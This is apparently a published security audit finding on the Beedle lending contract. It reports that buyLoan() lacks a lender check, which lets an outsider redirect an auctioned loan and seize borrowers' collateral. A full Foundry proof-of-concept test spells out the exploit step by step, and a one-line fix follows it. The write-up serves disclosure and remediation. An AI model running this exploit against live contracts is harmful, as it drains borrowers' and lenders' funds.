20,000 USDC
View results
Submission Details
Severity: high
Valid

Borrowers can lose collateral and Lenders can lose loanTokens, due to missing validation in buyLoan().

Borrowers can lose collateral and Lenders can lose loanTokens, due to missing validation in buyLoan().

Summary

Once a loan has been taken out against a Pool anyone can create a Pool to remove Collateral from the contract. This is initially due to a lack of validation in the buyLoan function.

Vulnerability Details

BuyLoan() does not validate that msg.sender is the pool.lender allowing anyone to buy a loan from another valid Pool they don’t own, while still becoming the new loan lender.

  • Two Lenders create respectively Pool A and Pool B, with the same pair of tokens

  • A user borrows Loan A against Pool A providing collateral to the protocol. The lender from Pool A puts the loan up for auction.

  • A malicious user calls buyLoan transferring the loan to Pool B, becoming the new loan’s lender (without owning Pool B).

  • the malicious user creates Pool C that matches Pool A and B.

  • The loan is frozen because Pool C's outstanding loans equal 0.

pools[poolId].outstandingLoans -= loan.debt;
  • Pool C is structured carefully to allow small collateral for a sizeable loan.

  • the malicious user puts the loan to auction waiting for it to expire

The aim is to call seizeLoan to remove collateral but the outstanding loan balance needs to be higher than the debt

The malicious user can bypass this by carefully crafting Loan B in Pool C which requires minimal collateral to equal Loan A's debt. Loan B is borrowed instantly by the malicious user, increasing Pool C's outstanding loan balance to increase.

Now that Loan A can be seized, the malicious user can get Loan A’s collateral out of the protocol.

Loan B can now be forgotten as it cost very little collateral.

Impact

Collateral is drained from the contract resulting in a loss of users funds.

Loan cannot be repaid to the pool resulting in a loss of users funds.

Code Snippet

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L355-L385

Proof of Concept

function test_BuyLoan() public {
assertEq(collateralToken.balance(address(lender)), 0);
assertEq(collateralToken.balance(address(lender2)), COLLATERAL_BALANCE);
assertEq(collateralToken.balance(address(borrower)), COLLATERAL_BALANCE);
vm.startPrank(lender1);
Pool memory p1 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 3 * POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 10000000000 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1100,
outstandingLoans: 0
});
Pool memory p3 = Pool({
lender: lender3,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 3 * POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 1 * 10 ** 18,
auctionLength: 2 days,
interestRate: 1100,
outstandingLoans: 0
});
bytes32 poolIdOne = lender.setPool(p1);
vm.startPrank(lender2);
bytes32 poolIdTwo = lender.setPool(p2);
vm.startPrank(lender3);
bytes32 poolIdThree = lender.setPool(p3);
bytes32[] memory poolIds = new bytes32[](3);
poolIds[0] = poolIdOne;
poolIds[1] = poolIdTwo;
poolIds[2] = poolIdThree;
uint256[] memory loansIds = new uint256[](1);
loansIds[0] = 0;
vm.startPrank(borrower);
Borrow memory b = Borrow({poolId: poolIdOne, debt: 1000 * 10 ** 18, collateral: 1000 * 10 ** 18});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
console.log("*** Loan from Pool 1 ***");
(address loandLender, address loanBorrower,,,,,,,,) = lender.loans(0);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
vm.startPrank(lender1);
lender.startAuction(loansIds);
vm.warp(1 days);
vm.startPrank(lender2);
lender.buyLoan(loansIds[0], poolIds[2]);
console.log("*** Loan is Auctioned from Pool 1 to Pool 3 ***");
(loandLender, loanBorrower,,,,,,,,) = lender.loans(0);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
vm.startPrank(lender2);
// calculate debt to create a loan against Pool2, with a huge maxLoanRatio, minimal collateral
uint256 debt = lender.getLoanDebt(0);
Borrow memory b2 = Borrow({poolId: poolIdTwo, debt: debt, collateral: 1 * 10 ** 18});
borrows = new Borrow[](1);
borrows[0] = b2;
//lender.zapBuyLoan(p2, 1);
lender.borrow(borrows);
console.log("*** Loan from Pool 2 ***");
(loandLender, loanBorrower,,,,,,,,) = lender.loans(0);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
console.log("Seize loan and remove liquidity");
lender.startAuction(loansIds);
vm.warp(2 days);
lender.seizeLoan(loansIds);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 0,
maxLoanRatio: 10000000000 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1100,
outstandingLoans: 0
});
lender.removeFromPool(poolIdTwo, debt);
lender.setPool(p);
stages(poolIdOne, poolIdTwo, poolIdThree, loandLender, loanBorrower, true, true);
assertEq(collateralToken.balance(address(lender)), 1 * 1e18); // Fees
assertGt(collateralToken.balance(address(lender2)), COLLATERAL_BALANCE);
assertLt(collateralToken.balance(address(borrower)), COLLATERAL_BALANCE);
}

Tools Used

Manual review and Foundry for the POC

Recommended Mitigation Steps

if (msg.sender != pool.lender) {
revert Unauthorized();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.